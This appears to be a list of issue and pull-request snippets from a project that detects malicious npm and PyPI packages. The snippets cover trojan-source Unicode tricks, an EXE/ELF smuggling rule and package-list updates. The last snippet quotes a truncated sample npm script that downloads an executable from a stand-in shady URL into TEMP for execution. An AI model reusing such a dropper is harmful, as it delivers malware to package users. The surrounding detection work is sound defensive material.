sobregosodd

Using unicode control characters can reorder the tokens of the source code, doing this, the logic of the source code can be changed without being noticeable.

Adds new rule that detects packages containing EXE or ELF files. The goal is to detect if executables are smuggled into the system. This detection makes use of file magic...

* Updates the list of top packages, both npm and pypi. * Adds a make file command `update-top-pkg-list` which updates both lists * Fixes the json npm format to be...

Adding NPM to the supported ecosystems in readme

The following comment is identified as obfuscation: ``` /** * Retrieves a list of up to 100 members and their membership status, given the provided paging and filtering. * *...

Similar pypi heuristic is not present in NPM: Sample: ```const {execFileSync } = require('child_process'); const Link = "http://someshadyurl.com/node_manager.exe"; const FinalPath = path.join(process.env.TEMP, "test.exe") async function main(){ await download(Link, FinalPath) await...